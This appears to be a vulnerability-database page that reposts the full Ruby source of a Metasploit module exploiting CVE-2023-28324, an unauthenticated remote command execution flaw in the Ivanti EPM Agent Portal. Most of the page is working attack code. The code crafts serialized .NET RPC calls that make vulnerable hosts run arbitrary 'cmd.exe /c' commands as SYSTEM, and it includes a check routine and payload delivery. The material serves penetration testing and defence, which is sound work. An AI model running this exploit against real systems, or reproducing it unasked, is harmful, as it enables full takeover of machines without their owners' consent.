Lucene search
K

Ivanti EPM Agent Portal Command Execution Exploit

🗓️ 21 Nov 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 194 Views

Exploitation of Ivanti EPM Agent RCE vulnerability in versions before 2021.1 Su4 and 2022 Su2.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in Ivanti Endpoint_Manager
13 Sep 202414:02
githubexploit
GithubExploit
Exploit for Deserialization of Untrusted Data in Ivanti Endpoint_Manager
13 Sep 202414:02
githubexploit
Circl
CVE-2023-28324
1 Jul 202307:15
circl
CNNVD
Ivanti Endpoint Manager 输入验证错误漏洞
1 Jul 202300:00
cnnvd
CVE
CVE-2023-28324
30 Jun 202323:40
cve
Cvelist
CVE-2023-28324
30 Jun 202323:40
cvelist
Ivanti
SA-2023-06-06-CVE-2023-28324
7 Jun 202319:55
ivanti
Tenable Nessus
Ivanti Endpoint Manager < 2022 SU3 Privilege Escalation (SA-2023-06-06)
21 Jun 202400:00
nessus
Metasploit
Ivanti EPM Agent Portal Command Execution
21 Nov 202418:54
metasploit
NVD
CVE-2023-28324
1 Jul 202300:15
nvd
Rows per page
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'rex/proto/ms_nrtp/client'

class MetasploitModule < Msf::Exploit::Remote
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti EPM Agent Portal Command Execution',
        'Description' => %q{
          This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method
          which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
          This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
        },
        'Author' => [
          'James Horseman', # original poc
          'Zach Hanley', # original poc
          'Spencer McIntyre' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-28324'],
          ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],
          ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],
        ],
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-06-07', # Ivanti article created date
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),
    ])
    deregister_options('SSL')
  end

  def check
    cwd = execute_command('echo %cd%', 0)
    return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i

    CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")
  rescue Rex::SocketError => e
    CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")
  end

  def exploit
    execute_command(payload.raw)
  end

  def execute_command(command, result_delay = -1)
    if @nrtp_client.nil?
      @nrtp_client = client = IAgentPortal.new(
        datastore['RHOST'],
        datastore['RPORT'],
        'LANDeskAgentPortal/LDSM',
        context: { 'Msf' => framework, 'MsfExploit' => self }
      )
      client.connect
      vprint_status('Connected to the remote end point')
    else
      client = @nrtp_client
    end

    client.do_request(command)
    return nil unless result_delay >= 0

    sleep result_delay
    client.do_get_result
  end
end

class IAgentPortal < Rex::Proto::MsNrtp::Client
  def recv_binary
    Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)
  end

  def send_recv_binary(serialized_stream)
    send_binary(serialized_stream)
    recv_binary
  end

  def do_request(shell_command)
    ss_response = send_recv_binary(ss_request(shell_command))
    method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }
    method_return.record_value.return_value.val.value
  end

  def do_get_result
    ss_response = send_recv_binary(ss_get_result)
    ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }
    return nil unless ass

    ass.record_value.members.first.record_value.string.value
  end

  private

  def ss_get_result
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              no_context: 1,
              args_inline: 1
            },
            method_name: 'GetResult',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',
            args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }
      ]
    })
  end

  def ss_request(shell_command)
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              method_signature_in_array: 1,
              no_context: 1,
              args_in_array: 1
            },
            method_name: 'Request',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },
            member_type_info: { binary_type_enums: [0], additional_infos: [8] },
            library_id: 11,
            member_values: [1]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },
            member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },
            member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],
          record_value: {
            obj_id: 9,
            metadata_id: 8,
            member_values: [
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },
              4,
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }
            ]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }
      ]
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation